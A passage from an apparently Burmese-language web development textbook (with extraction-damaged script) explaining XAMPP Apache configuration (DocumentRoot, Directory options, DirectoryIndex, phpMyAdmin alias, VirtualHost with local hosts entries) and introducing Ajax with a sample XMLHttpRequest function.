ချက်ြနစ်ှခု နမနူာမာှပါဝငပ်ါတယ်။ စာဖေတသူ်ရေဲ့  httpd.conf ထမဲာှိတာ့ နစ်ှခထုက်ြပိုိ ကြာငး်ပိုနိုငပ်ါတယ်။ ဒါိပ
မယ့် အဓကိြကြျ တာကြ ဒနီစ်ှချက်ြပပဲဖေစ်ပါတယ်။ 

AllowOverride Setting ကြ .htaccess File နဲ့ သတမ်တှထ်ားတဲ့ Setting ိတရွေှိရေင ်ခငွ့်ပပုမပပု ဆံုးပဖေတတ်ဲ့
Setting  ပဖေစ်ပါတယ်။  none လို့သတမ်တှထ်ားတဲ့အတက်ွြ  ခငွ့်မပပုဘးူဆိုတဲ့  အဓပိ္ပါယ်ပဖေစ်ပါတယ်။   Require
Setting ကြိတာ့ ဒီ Directory ထကုိဲြ ဝင်ိ ရောက်ြခငွ့်ပပုမပပုသတမ်တှတ်ဲ့ Setting ပါ။ all denied လ့ုိ သတမ်တှ်
ထားတဲ့ အတက်ွြ ဘယ်သူကုိ့ြမခှငွ့်မပပုဘးူဆိုတဲ့အဓပိ္ပါယ်ပဖေစ်ပါတယ။်
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Document Root

DocumentRoot "C:/xampp/htdocs"

httpd.conf ထမဲာှ  DocumentRoot  "C:/xampp/htdocs" လို့သတမ်တှထ်ားတဲ့  Setting  တစ်ခကုိုြ
လညး် ိတွ့ရေနိုငပ်ါတယ။်  ဒီ  DocumentRoot Setting  ကြ Web Document  ိတသိွမး်ဆညး်မယ့်  Folder  ကုိြ
သတမ်တှ်ိ ပးဖေို့ ပဖေစ်ပါတယ။် C:/xampp/htdocs လ့ုိသတမ်တှထ်ားတဲ့အတက်ွြ Apache ကြ Document ိတကုိွြ
အ့ဲဒီ  Folder ထဲမာှ သွားိရောက်ြရောှိဖေမွာှပါ။ ဒါိအကြာင့်လညး် ကြျွန်ိ တာတ်ို့စမ်းသပ်ိ ရေးသားခဲ့တဲ့ PHP Script ိတွ
ကုိြ  အ့ဲဒီ  Folder  ထဲမာှသိမး်ဆညး်  ခဲ့ရေတာပဖေစ်ပါတယ်။  Document  Root  အပဖေစ်  အပခား  Folder  တစ်ခကုိုြ
ိပပာငး်လသဲတမ်တှလ်ိုရေင ်DocumentRoot Setting ကုိြ ပပုပပငသ်တမ်တှ်ိ ပးလိုက်ြယံုပါပ။ဲ

ဆက်ြလက်ြပပးီ Document Root ကုိြ Apache ကြတစ်ဆင့် ဝင်ိ ရောက်ြခငွ့်ပပုထားတဲ့ Directory Setting သတမ်တှ်
ထားတာကုိြ လည်း ိတွ့ရေမာှပဖေစ်ပါတယ်။ မတှခ်ျက်ြိတကုိွြဖေယ်လိုက်ြရေင် ိရေးသားပုံနမနူာကြ အခလုို ပဖေစ်နိုငပ်ါတယ်။

Directory Setting for Document Root Folder

<Directory "C:/xampp/htdocs"> 
    Options Indexes FollowSymLinks ExecCGI Includes 
    AllowOverride All 
    Require all granted 
</Directory>

ဒီ  Directory  Setting  ထကဲြ  Options  Setting  အတက်ွြ တနဖ်ေိုး  (၄)ခု  သတမ်တှထ်ားပါတယ်။  Indexes ရေဲ့
အဓပိ္ပါယ် ကြ Directory Browsing ခငွ့်ပပုမယ်ဆုိတဲ့အဓပိ္ပါယ်ပဖေစပ်ါတယ်။ Directory ထမဲာှ Index File မရေှိခဲ့ရေင်
ရေှိိ နတဲ့ File နဲ့ Folder စာရေငး်ကိြုိ ဖောပ်ပိစမယ့် Option ပဖေစ်ပါတယ်။ မိဖောပ်ပိစလိုရေငပ်ဖေုတထ်ားနိုငပ်ါတယ။်

FollowSymLinks ကြိတာ့  Symbolic  Link  (ိခါ်)  Shortcut  ိတကုိွြလညး်  အလပုလ်ပု်ိ ပးမယ်ဆုိတဲ့
အဓပိ္ပါယ်ပါ။ ိရေးသားထားတဲ့  PHP Script  ိတကုိွြ  htdocs ိအာက်ြမာှထားိပးပါလို့ိ ပပာခဲ့ပါတယ။် အမနှ်ိ တာ့
နစ်ှသက်ြရောိနရောမာှ ိရေးသားသိမ်းဆညး်ထားပပးီ  Script  (သုိမ့ဟတု်) Folder ရေဲ့  Shortcut ကုိြပဲ htdocs ထမဲာှ
ထားလိုက်ြရေငရ်ေပါပပ။ီ FollowSymLinks Option သတမ်တှထ်ားတဲ့အတက်ွြ ပဖေစ်ပါတယ။် 

ဆက်ြလက်ြသတမ်တှထ်ားတဲ့  AllowOverride All ကြိတာ့  ဒီ  Directory  ထဲမာှ  .htaccess File  နဲ့
Setting ိတ ွသတမ်တှပ်ခငး်ကုိြ ခငွ့်ပပုထားပခငး်ပဖေစ်ပါတယ်။ Require all granted ကြိတာ့ ဒီ  Directory
ထကုိဲြ Request များပပုလပု ်ဝင်ိ ရောက်ြပခငး်အား ခငွ့်ပပုထားပခငး်ပဖေစ်ပါတယ်။
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Default Index File

ဆက်ြလက်ြပပးီ  Default Index File  သတမ်တှ်ိ ပးတဲ့  Setting  တစ်ခလုညး်ပါဝငန်ိုငပ်ါတယ်။ မတှခ်ျက်ြိတ ွဖေယ်
လိုက်ြရေင ်ိရေးသားပုံကြ အခလုိုပဖေစ်နိုငပ်ါတယ။်

<IfModule dir_module> 
    DirectoryIndex index.html index.php
</IfModule>

dir_module ရေှိမရေှိ ိသချာိအာင် အရေငစ်စ်ိဆးပါိသးတယ်။ ပပးီိတာမ့ှ DirectoryIndex Setting နဲ့အတူ
Index  File  အပဖေစ်အသံုးပပုလိုတဲ့  File  စာရေငး်ကိြု  တနး်စီိ ပးထားပါတယ်။  နမနူာအရေ  index.html နဲ့
index.php တို့ကုိြ Index File အပဖေစ်သံုးသာွးမာှပါ။ စာဖေတသူ်ရေဲ့  httpd.conf ထဲမာှိတာ့ Index File အပဖေစ်
သံုးဖေို့  နစ်ှခထုက်ြ မကြတဲ့  File Name  ိတ ွအမျို းမျို းိပးထားနိုငပ်ါတယ်။  default.php, home.php စတဲ့
File ိတကုိွြပါ Index File အပဖေစ် အသံုးပပုလိုတယ်ဆုိရေင် ဒီိ နရောမာှ ထည့်သွင်းသတမ်တှ ်ထားရေပါတယ်။

Extra Setting
တစ်ချို ့  Setting  ိတကုိွြ  httpd.conf ထဲမာှမိရေးပဲ  သီးပခား  File  နဲ့လညး်  ခွဲပခားိရေးသားထားတက်ြပါိသး
တယ်။ ခွဲပခား ိရေးသားထားတဲ့ Setting File ိတကုိွြ httpd.conf ကြိန Include Setting သံုးပပးီ ချတိဆ်က်ြ
ိပးနိုငပ်ါ  တယ်။ ကြျွန်ိ တာတ်ို့  လက်ြရေှိိ လလ့ာိနတဲ့  httpd.conf မာှလညး်  File  တစ်ချို ့ကုိြချတိဆ်ကြထ်ားပါ
တယ်။ XAMPP နဲ့သကြဆုိ်ငတ်ဲ့  Setting ိတရွေှိိ နတဲ့  extra Folder  ထဲကြ httpd-xampp.conf ကုိြအခလုို
ချတိဆ်က်ြထားပါတယ် -

Include "conf/extra/httpd-xampp.conf"

httpd-xampp.conf ထမဲာှ အဓကိြိလလ့ာသင့်တဲ့  Setting ကြိတာ့  phpMyAdmin အတက်ွြ သတမ်တှထ်ား
တဲ့ Alias Setting ပဖေစ်ပါတယ်။

Alias /phpmyadmin "C:/xampp/phpMyAdmin/"

Alias Setting အသံုးပပုပပးီ /phpmyadmin ဆုိတဲ့ URL အတက်ွြ phpMyAdmin ရေှိိ နတဲ့ Folder ကုိြညွှနး်ိပး
ထားပါတယ်။  ဒါိအကြာင့်  htdocs Folder  ထဲမာှ  phpMyAdmin ရေှိမိနိပမယ့်  Browser  URL  မာှ
http://localhost/phpmyadmin/ လို့  ထည့်သွငး်  Request  လုပ်  အသံုးပပုနိုငပ်ခင်းပဖေစ်ပါတယ်။  Apache  ကြ
/phpmyadmin ဆုိတဲ့ URL ကုိြိတွ့ရေင် Alias သတမ်တှထ်ားတဲ့အတက်ွြ Document Root ပဖေစ်တဲ့ htdocs ထဲ
မာှ သွားမရောှိတာပ့ဲ သတမ်တှထ်ားတဲ့ Folder ပဖေစ်တဲ့ C:\xampp\phpMyAdmin\ ထဲကြိန ရေယူိဖောပ်ပိပးပခငး်
ပဖေစ်ပါတယ်။

http://localhost/phpmyadmin/
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Virtual Host
ိနာက်ြဆံုးတစ်ခအုိနနဲ့ ပဖေည့်စွက်ြိလလ့ာသင့်တာကြိတာ့ VirtualHost Setting ပဖေစ်ပါတယ်။ ဒနီညး်ကြ Web
Server  တစ်ခု  တညး်နဲ့  Host  Name /  Domain Name  အများကကီြးကြို  တွဲဖေက်ြအသံုးပပုနိုင်ိ စမယ့်နညး်  ပဖေစ်ပါ
တယ်။  Request  ကြ  example.com အတက်ွြဆိုရေင်  ဘယ်လို  Setting  နဲ့အလပုလ်ပုပ်ါ။   Request  ကြ
example.org အတက်ွြ ဆုိရေငဘ်ယ်လို Setting နဲ့အလပုလ်ပုပ်ါ စသပဖေင့် ခွဲပခားသတမ်တှထ်ားနိုငပ်ခငး်ပဖေစပ်ါတယ်။

ဒနီညး်ကုိြစမ်းသပဖ်ေိုအ့တက်ွြ စာဖေတသူ်ရေဲ့  ကွြနပ်ျူတာကုိြ  Host Name  တစ်ချို ့ သတမ်တှထ်ားိပးဖေို့လိုအပပ်ါတယ်။
Windows  အတက်ွြ  C:\Windows\system32\drivers\etc\hosts ထဲမာှ  သတမ်တှ်ိ ပးနိုငပ်ါတယ်။
Linux အတက်ွြ /etc/hosts မာှ သတမ်တှ်ိ ပးနိုငပ်ါတယ်။ hosts File ကုိြ Text Editor နဲ့ဖေငွ့်လစ်ှပပးီ ိအာက်ြ
ဆံုး ကြိနအခလုိုထည့် သွငး်ိပးပါ။

127.0.0.1   foo.com
127.0.0.1   bar.com

Local မာှစမး်သပ်ိ နတာပဖေစ်လို့ ကြျွန်ိ တာတ်ို့မာှ  Public Internet IP မရေှိပါဘးူ။ ဒါိအကြာင့်  Local IP Address
ိတနွဲ့ စမး်သပရ်ေမာှပဖေစ်ပါတယ်။ 127.0.0.1, 127.0.0.2, 127.0.0.3, … စတဲ့ IP Address အားလုံး
ဟာ  Local  IP  Address  ိတပွဖေစ်ပါတယ်။  hosts File  ထမဲာှိတာ့  127.0.0.1 အတက်ွြ  foo.com နဲ့
bar.com ဆုိတဲ့  Host  Name  နစ်ှခသုတ်  မတှထ်ားပါတယ။်  ဒလီိုသတမ်တှလ်ိုက်ြတဲ့အတက်ွြ  ကြျွန်ိ တာတ်ို့
Computer မာှ Host Name နစ်ှခရုေှိသွားိစတဲ့သိဘာပဖေစ်ပါတယ်။

သတမ်တှခ်ျက်ြအတညပ်ဖေစ်ိစဖေို့ ကွြနပ်ျူတာကုိြ Restart လုပ်ိ ပးဖေိုလ့ိုနိုငပ်ါတယ်။ Restart လုပပ်ပးီိနာက်ြ Browser
URL  Bar  မာှ  http://foo.com/ (သုိမ့ဟတု်)  http://bar.com/ လို့ရိက်ုြထည့်မယ်ဆုိရေင်  http://localhost/ ကုိြ
ထည့်သွငး်ပခငး်  နဲ့  တညူတီဲ့ရေလဒကုိ်ြရေရေှိိ စမာှပဖေစ်ပါတယ်။  ဆက်ြလက်ြပပးီ  သက်ြဆုိငရ်ော  Host  Name  တစ်ခပုခငး်
အတက်ွြ Setting ိတကုိွြ VirtualHost အိနနဲ့ အခလုို သတမ်တှ်ိ ပးနိုငပ်ါတယ်။

<VirtualHost *:*>
  ServerName foo.com
  DocumentRoot C:/foo/
</VirtualHost>

<VirtualHost *:*>
  ServerName bar.com
  DocumentRoot C:/bar/
</VirtualHost>

ServerName ကုိြ  foo.com အတက်ွြ  DocumentRoot ကုိြ  C:/foo/ ပဖေစ်  တယ်လို့သတမ်တှထ်ားပပီး၊
ServerName bar.com အတက်ွြ DocumentRoot ကုိြိတာ့ C:/bar/ လို့ သတမ်တှထ်ားပါတယ်။ ဒါိအကြာင့်
အခုိ န Apache  ကုိြ  Restart  လုပပ်ပးီ  Browser  URL  Bar  မာှ  http://foo.com/ လို့ထည့်သွငး်စမ်းသပရ်ေင်
C:\foo\ Folder  ထမဲာှ ထည့်သွငး်ိရေးသားထားတဲ့  HTML Document  များနဲ့  PHP Scripts  များကုိြရေရေှိမာှပဲ
ပဖေစ်ပါတယ်။ foo.com ဟာ သီးပခား DocumentRoot နဲ့ ရေပတ်ည်ိ နတဲ့  Virtual Host တစ်ခပုဖေစ်သွားပခငး်
ပဖေစ်ပါတယ်။ အလားတပူဲ bar.com ကုိြ သွားအကြည့်ရေင်ိ တာ့ C:\bar\ ထဲမာှ ိရေးသားထားတဲ့ ရေလဒကုိ်ြ ရေရေှိမာှပဖေစ်
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ပါတယ်။ ဒနီညး်နဲ့ Server တစ်ခတုညး်မာှ မတညူတီဲ့ Server Name ိတအွတက်ွြ မတညူတီဲ့ ကုိြယ်ပိုင် Document
Root ိတကုိွြ ခွဲပခားသတမ်တှန်ိုငပ်ခင်း ပဖေစ်ပါတယ်။

Conclusion
ိဖောပ်ပခဲ့တဲ့  PHP  နဲ့  Apache Setting  များအပပင်  MySQL, phpMyAdmin  နဲ့  အပခား  Setting  များကုိြလညး်
ဆက်ြလက်ြိလလ့ာသင့်ပါတယ်။ XAMPP Windows အတက်ွြ MySQL Setting ိတကုိွြ C:\xampp\mysql\
bin\my.ini မာှိလလ့ာနိုငပ်ါတယ်။  phpMyAdmin  အတက်ွြ  Setting  များကုိြိတာ့  C:\xampp\phpMy
Admin\config.inc.php မာှ ိလ့လာနိုငပ်ါတယ။်

XAMPP  Linux  အတက်ွြ  MySQL  နဲ့  အပခား  Setting  ိတကုိွြ  /opt/lampp/etc/ ထဲမာှ  File  Name
အလိုက်ြ စုစညး်ိပးထားပါတယ်။
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အခနး် (၉) Ajax with jQuery
Web App များအား တစ်ိခတ်ိပပာင်းိစခ့ဲသည့် နညး်စနစ်

Asynchronous JavaScript And XML  ရေဲ့  အတိုိ ကြာက်ြအိခါ်ပဖေစ်တဲ့  Ajax  ဟာ  Javasript  အိပခပပု  Web
App ိရေးသားနညး် "နညး်စနစ်" တစ်ခပုဖေစ်ပါတယ်။ ဒအီိခါ်အိဝါ်ကုိြ Jesse James Garrett လို့ အမည် ရေတဲ့ UX
(User  Experience)  Designer  တစ်ိယာက်ြကြ ၂၀၀၅ ခနုစ်ှ  ိဖေိဖောဝ်ါရေလီမာှ  ိရေးသားခဲ့တဲ့  "Ajax:  A New
Approach to Web Apps"  ဆုိတဲ့စာတမး်တစ်ိစာငက်ြိန အစပပု တငွက်ြျယ်လာခဲ့တာပါ။ အမနှ်ိ တာ့  Ajax  လို့
အမညတ်ငွလ်ာမယ့်  ဒနီညး်စနစကုိ်ြ အ့ဲဒစီာတမး်မတိုငခ်ငက်ြတညး်ကြ အသံုးပပုိနအကြပါပပ။ီ  Garrett  ရေဲ့  စာတမး်မာှ
လညး်  Gmail,  Google Suggest,  Google Maps  စတဲ့နညး် ပညာများကုိြ  လက်ြရေှိနမနူာအိနနဲ့ိ ဖော်  ပပထားပါ
တယ်။  ဒါိပမယ့်  Ajax  ရေယ်လို့  အမညတ်စ်ခု  သတမ်တှ်ိ ခါ်တငွခ်ဲ့တာကြိတာ့  သူရ့ေဲ့စာတမး်ထက်ွြရေှိလာပပးီ
ိနာက်ြမှိ ခါ်တငွခ်ဲ့အကြတာ ပဖေစ်ပါတယ။် 

Link: http://www.adaptivepath.com/ideas/ajax-new-approach-web-Apps

9.1 - Asynchronous
Ajax  မာှပါဝငတ်ဲ့  Asynchronous  ဟာ  Software Development  အတက်ွြ အိရေးပါတဲ့နညး်ပညာတစ်ခု  ပဖေစ်ပါ
တယ်။ ဥပမာ - လပုင်နး်စဉတ်စ်ခပုပးီိပမာက်ြဖေို့ အလပု် (၃) ခလုပုရ်ေမယ်ဆုိအကြပါစုိ။့ အလပုတ်စ်ခပုပးီမှ ိနာက်ြတစ်ခကုိုြ
အစဉ် အတိုငး်ဆက်ြလပုသွ်ားတဲ့လပုင်နး်စဉကိ်ြု  Synchronous Process  လိုိ့ ခါ်ပါတယ်။  Asynchronous  ဆုိတာ
ကြိတာ့ အလပု် တစ်ခလုပု်ိ နစဉမ်ာှ ပပးီစီးိအာင်ိ စာင့်မိနပဲ ိနာက်ြအလပုတ်စ်ခကုိုြ ကကိြုတင်ိ ဆာငရ်ေက်ွြနိုငပ်ခင်းကုိြ
ိခါ်တာပါ။

တစ်ခါတစ်ရေံ အဆင့် (၁) ရေဲ့  ရေလဒကုိ်ြသိရေမှ အဆင့် (၂) ကြ ဆက်ြလက်ြိဆာငရ်ေက်ွြနိုငမ်ယ်သိဘာမျို းိတာ့ ရေှိတက်ြပါ
တယ်။ ဒလီိုအခါမျို းမာှ အဆင့် (၂) ကြ အဆင့် (၁) ပပးီစီးိအာင် ိစာင့်မိနပဲ လပုစ်ရောရေှိတာ ကကိြုတငလ်ပုထ်ားနငှ့်ပါ
တယ်။ အဆင့်  (၁)  ကြ သူရ့ေဲ့ိဆာငရ်ေက်ွြချက်ြပပးီိပမာက်ြတဲ့အခါမသှာ ရေလဒကုိ်ြ အဆင့်  (၂)  ထံ  လက်ြဆင့်ကြမး်ိပး
ပခငး်၊ သုိမ့ဟတု် အဆင့်  (၂)  ရေဲ့ိဆာငရ်ေက်ွြချက်ြကုိြ ပဖေည့်စွက်ြိပးလိုက်ြကုိြ ပပုလပု်ိ ပးဖေို့လိုပါတယ်။ ဒီိ တာမ့ှ  အဆင့်
(၁)  ရေဲ့  ရေလဒက်ြ အဆင့်  (၂)  မာှပါဝင်  သွားပပးီ လိုချငတ်ဲ့လပု်ိ ဆာငခ်ျက်ြပပည့်စံုမယ့်သိဘာပါ။ ဒလီိုသဘာဝမျို းကုိြ
Callback လိုိ့ ခါ်ပပးီ Asynchronous ရေဲ့အိရေးပါတဲ့ အစိတအ်ပိုင်းတစ်ရေပ ်ပဖေစ်ပါတယ်။ 

http://www.adaptivepath.com/ideas/ajax-new-approach-web-applications
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Web ဟာ သဘာဝအရေ Synchronous Process တစ်ခပုဖေစ်ပါတယ်။ Client Request ကုိြ လက်ြခရံေရေှိမှ Server ကြ
Respond  လပုပ်ါတယ်။  Respond  ကုိြလက်ြခရံေရေှိတဲ့အခါ  Client  ကြ  Respond Document  အပဖေစ်ပါဝငလ်ာ တဲ့
HTML, CSS, JavaScript  တို့ကုိြ အစဉ်အတိုငး်အလပုလ်ပုပ်ါတယ်။ ဒလီိုအစဉအ်တိုင်း အပမတဲမး် အလပုလ်ပုတ်ဲ့
အတက်ွြ Web App ိတအွတက်ွြ အဆငမ်ိပပမှုတစ်ချို ့  ရေှိလာပါတယ်။

အခန်း  (၇) မာှ  ကြျွန်ိ တာတ်ို့တည်ိ ဆာက်ြခဲ့တဲ့   Book Store Project  ကုိြပနဲမနူာအကြည့်ပါ။  စာအုပတ်စ်အုပပ်ယ်
ဖေျက်ြဖေို့အတက်ွြ ပထမဆံုးစာအုပစ်ာရေငး်ိဖောပ်ပထားတဲ့ Script ကုိြရေယူရေပါမယ်။ ိဖောပ်ပလာတဲ့စာရေငး်ထကဲြမှ ပယ်ဖေျက်ြ
လိုတဲ့စာအုပအ်တက်ွြ Delete ကုိြ နှိပလ်ိုက်ြတဲ့အခါ Delete လုပ်ိ ဆာငခ်ျက်ြ ိရေးသားထားတဲ့ Script ကုိြ ဆက်ြလက်ြ
အလပုလ်ပုရ်ေ ပါတယ်။  Delete Script  ကြ လုိအပတ်ဲ့ လပု်ိ ဆာငခ်ျက်ြိဆာငရ်ေက်ွြအပပးီမာှ စာအုပစ်ာရေငး် ိဖောပ်ပတဲ့
Script ကုိြ ိနာက်ြ တစ်ကကိြမ် အစအဆံုးပပနလ်ညရ်ေယူရေပါတယ်။ အလပု်ိ တ ွတစ်ခပုပးီမတှစ်ခအုစဉအ်တိုင်း လပုပ်ခငး်
ပဖေစ်ပါတယ်။ ကြျွန်ိ တာတ်ို့ လက်ြရေှိစမး်သပ်ိ နတာကြ localhost မာှမို့ ဒလီိုအဆင့ဆ်င့်လပုရ်ေတာသိပ် မသိသာတာပါ။
အငတ်ာနက်ြိပါ်မာှဆုိရေင် Request/Respond အသွားအပပန်ိ တအွတက်ွြ အချနိတ်စ်ချို ့ိစာင့်ရေမာှ ပဖေစ်ပါတယ်။ အ့ဲဒီ
လိုိ စာင့်ဆိုငး်ိနရေချနိမ်ာှ တစ်ပခားအလပု်ိ တလွပုလ်ို့လညး် ရေမာှမဟတုပ်ါဘးူ။ Synchronous ပဖေစ်ိနတဲ့သိဘာပါ။
Ajax  နညး်စနစ်ကြိတာ့  Web  App  ိတကုိွြ  အလပုတ်စ်ခုိ ဆာင်  ရေက်ွြိနစဉမ်ာှ  ပပးီစီးိအာင်ိ စာင့်ိ နဖေို့မလိုပဲ
အပခားအလပု ်ိတကုိွြဆက်ြလက်ြ ိဆာငရ်ေက်ွြနိုင်ိ အာင ်ဖေနတ်းီိရေးသားနညး်တစ်မျို း ပဖေစ်ပါတယ်။

9.2 - JavaScript XMLHttpRequest (XHR) API
အခန်း (၄) မာှ JavaScript အိအကြာငး်ိလလ့ာခဲ့စဉက်ြ DOM API ကုိြအဓကိြထားိလလ့ာခဲ့အကြပါတယ်။ XHR လို့
အတိုိ ကြာက်ြိခါ်တဲ့  XMLHttpRequest  ဟာလညး် DOM က့ဲြသုိ့  JavaScript API တစ်ခပုဖေစ်ပါတယ်။   XHR
API  ကုိြ  JavaScript  ကြိန Request  ိတ ွိပးပို့ဖေိုန့ဲ့   Respond  ိတ ွပပနလ်ညလ်က်ြခဖံေို့အတက်ွြ  အသံုးပပုနိုငပ်ါ
တယ်။

ပုံမနှအ်ားပဖေင့် Server ကုိြ Request လုပဖ်ေိုအ့တက်ွြ Client ပဖေစ်တဲ့ Web Browser ရေဲ့  URL Bar မာှ လပိစ်ာ URL
တစ်ခ ုထည့်သွငး်ပခငး်အားပဖေင့် Request လပုရ်ေပါတယ်။ သုိမ့ဟတု ်Hyperlink တစ်ခကုိုြ နှိပပ်ခငး်အားပဖေင့် Request
လပုန်ိုငပ်ါတယ်။ သုိမ့ဟတု်  HTML Form တစ်ခမုာှ Submit Button ကုိြ နှိပပ်ခငး်အားပဖေင့် Request ပပုလပုန်ိုငပ်ါ
တယ်။ အခုိ တာ့ Request ပပုလပုပ်ုံနညး်တစ်နညး် တိုးလာပခငး်ပဖေစ်ပါတယ်။ XHR API ကုိြသံုးပပးီ JavaScript နဲ့
Request ပပုလပုန်ိုငပ်ပပီဖေစ်ပါတယ်။

၁၉၉၈ ခနုစ်ှမာှ Microsoft Outlook Web Access Team ကြ ိနာငတ်စ်ချနိမ်ာှ XHR နညး်ပညာပဖေစ်လာိစမယ့်
XMLHTTP  အမညရ်ေ  Component  တစ်ခကုိုြဖေနတ်းီတထီငွပ်ပးီ  စတငအ်သံုးပပုခဲ့ပါတယ်။  ၁၉၉၉  မာှိတာ့
Microsoft  ကြ XMLHTTP ကုိြ  ActiveX Control  တစ်ခအုိနနဲ့  Internet Explore 5  မာှ ထည့်သွငး်ိပးခဲ့ပါ
တယ်။  သိပမ်အကြာခငမ်ာှပဲ  ဒနီညး်ပညာကုိြ  Mozilla,  Safari,  Opera  စတဲ့  Browser  ိတကွြလညး်
XMLHttpRequest အမညရ်ေ JavaScript Object အိနနဲ့  Support လုပလ်ာအကြပါတယ်။ Internet Explorer 7
ထက်ွြလာတဲ့အချနိမ်ာှိတာ့  Microsoft  ကြလညး်  ဒနီညး်ပညာကုိြ  ActiveX  Control  အပဖေစ်သာမကြ
XMLHttpRequest JavaScript Object အပဖေစ်ပါတွဲဖေက်ြ Support လုပလ်ာခဲ့ပါတယ်။

XHR API ကုိြ ထိထိိ ရောက်ြိရောက်ြအသံုးချထားတဲ့ ပထမဆံုး Web App ိတကုိွြ Google ကြ ဖေနတ်းီမတိဆ်က်ြခဲ့ပါ
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တယ်။  ၂၀၀၄  ခနုစ်ှမာှိအကြပငာခဲ့တဲ့  Gmail  နဲ့  ၂၀၀၅  ခနုစ်ှမာှိအကြပငာခဲ့တဲ့  Google  Maps  တို့ပပဲဖေစ်ပါတယ်။
ိနာက်ြပိုငး်မာှိတာ့  ဒနီညး်ပညာဟာ  Ajax  နညး်စနစ်ရေဲ့  အဓကိြအစိတအ်ပိုငး်တစ်ခုအိနနဲ့  တွဲဖေက်ြထငရ်ောှးလာခဲ့ပါ
တယ်။  Browser အားလုံးကြ Support လပု်ိ နိပမယ့် XHR ဟာ အစပိုငး်မာှ W3C Standard တစ်ခု မဟတုပ်ါ
ဘးူ။ ၂၀၀၆ ခနုစ်ှကုိြိရောက်ြိတာမ့ှ  W3C ကြ XHR API ကုိြ  Web Standard အိနနဲ့ စတငအ်သိအမတှပ်ပုခဲ့ပခငး်
ပဖေစ်ပါတယ်။

ရုိးရုိး Request ိတမွာှ ပပနလ်ည်ိ ပးပိုလ့ာတဲ့ Respond ကုိြ ကြျွန်ိ တာတ်ို့ အကြည့်ရှုနိုင်ိ အာင် Browser ကြ Page ကုိြ
Reload  လပုပ်ခငး်အားပဖေင့်  ိဖောပ်ပိပးသွားမာှပဖေစ်ပါတယ်။  XHR  ကြိတာ့  ပပနလ်ညလ်က်ြခရံေရေှိတဲ့   Respond  ကုိြ
လက်ြခယံုံ လက်ြခံိ ပးထားမာှပါ။  ဒီ  Respond  ကုိြဘယ်လိုအသုံးပပုမယ်၊  ဘယ်လိုနညး်လမး်နဲ့  ိဖောပ်ပမယ်စတဲ့ကိြစ္စ
ိတကွြ ကြျွန်ိ တာတ်ို့ကြိုယ်တိုင ် JavaScript နဲ့ စီမံိ ရေးသားရေမယ့်ကိြစ္စ တ ွပဖေစ်ပါတယ်။

XHR API အသံုးပပုပပးီ  Server ထံ Request  ိတ ွပပုလပု်ိ ပးတဲ့  JavaScript Function တစ်ခကုိုြ နမနူာအိနနဲ့
ိဖောပ်ပလိုက်ြပါတယ်။

var httpRequest;

function makeRequest(url, query, method, complete) { 
  if (window.XMLHttpRequest) { // Mozilla, Safari, ... 
    httpRequest = new XMLHttpRequest(); 
  } else if (window.ActiveXObject) { // IE 
    try { 
      httpRequest = new ActiveXObject("Msxml2.XMLHTTP"); 
    } 
    catch (e) { 
      try { 
        httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); 
      }
      catch (e) {}
    }
  }

  httpRequest.onreadystatechange = complete; 
  httpRequest.open(method, url); 
  httpRequest.send(query); 
} 

နမနူာမာှ makeRequest() အမညရ်ေ Function တစ်ခုိ ရေးသားထားပါတယ်။ ဒီ Function ကြ ပထမဆံုးအိနနဲ့
အသံုးပပုိနတဲ့  Browser  ကြ XMLHttpRequest ကုိြ  Support  လုပမ်လပုစ်စ်ိဆးပါတယ်။  Support  လုပခ်ဲ့ရေင်
httpRequest Variable  ထကုိဲြ  XMLHttpRequest Object   ထည့်သွငး်ိပးမာှပဖေစ်ပပးီ  Support  မလပုရ်ေင်
ိတာ့  ActiveXObject သံုးမယ်လို့  သတမ်တှထ်ားပါတယ်။  ိနာက်ြတစ်ဆင့မ်ာှ၊  httpRequest XHR
Object ရေဲ့  onreadystatechange Attribute အပဖေစ် Function ိခါ်စဉ် ကြိပးလာတဲ့ success Function
ကုိြသတမ်တှ်  ိပးထားပါတယ။်  ဒါိအကြာင့်  Request  စတငပ်ခငး်၊  ပပးီစီးပခင်း၊  မိအာငပ်မငပ်ခင်းစတဲ့  အိပခအိန
အိပပာငး်အလဲ တစ်ခခုရုေှိတိုငး် success Function ကုိြ အလပုလ်ပု ်ိပးမာှပါ။
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ိနာက်ြတစ်ဆင့်မာှ  httpRequest ကြိနတစ်ဆင့်  open Method  ကုိြသံုးပပးီိတာ့  Request  စတငန်ိုငဖ်ေို့
Connection တစ်ခဖုေငွ့်ပါတယ်။ Request Method နဲ့  Request URL အပဖေစ် Function ိခါ်ယူစဉက်ြထည့်သွငး်
ိပးလာ တဲ့  method နဲ့  url Variable  တို့ကုိြအသံုးပပုထားပါတယ်။ ဆက်ြလက်ြပပးီ  send Method  ကုိြသံုးပပးီ
Request ိပးပို့ ပခငး်ကုိြပပုလပုပ်ါတယ်။ Request နဲ့အတူ ထည့်သွငး်ိပးလိုတဲ့ တနဖ်ေိုးအပဖေစ် Function ိခါ်ယူစဉ်
ကြ ထည့်သွငး်ိပးလာတဲ့ query Variable ကုိြ အသံုးပပုထားပါတယ်။

makeRequest() Function ိခါ်ယူအသံုးပပုပုံကြ အခလုိုပဖေစ်နိုငပ်ါတယ် -

makeRequest("admin/book-del.php", "id=123", "POST", function() {
  if (httpRequest.readyState == 4) { 
    if (httpRequest.status == 200) { 
      alert(httpRequest.responseText); 
    } else { 
      alert('There was a problem with the request.'); 
    } 
  }
});

ဒနီညး်နဲ့ိ ခါ်ယူလိုက်ြရေင် admin/book-del.php ကုိြ JavaScript ကြိန Request လပု်ိ ပးသွားမာှပဖေစ်ပါတယ်။
id=123 ကုိြလညး် Query အပဖေစ် ထည့်သွငး်ပပးီ  POST Method ကုိြ အသံုးပပု Request လပု်ိ ပးသွားမာှပါ။

makeRequest() Function အတက်ွြ ိနာက်ြဆံုးတနဖ်ေိုးအိနနဲ့  Nameless Function တစ်ခကုိုြ ထည့်သွငး်ိပး
ထားပါတယ်။  ဒီ  Function  မာှ  XHR  ရေဲ့  readyState ကုိြအကြည့်ပပးီ  အိပခအိနကုိြ  စစ်ိဆးထားပါတယ်။
readyState ကြ  4  ဆုိရေင်  Request  ပပးီိပမာက်ြသွားပပဆုိီတဲ့ အဓပိ္ပါယ်ပဖေစပ်ါတယ်။  Request  ပပးီိပမာက်ြိတာမ့ှ
Respond Status  ကြ  200 ဆုိရေင်  ပပနလ်ည်ိ ပးပိုလ့ာတဲ့  Respond Content  ကုိြ  Alert Box  နဲ့ိ ဖောပ်ပမာှပဖေစ်ပပးီ
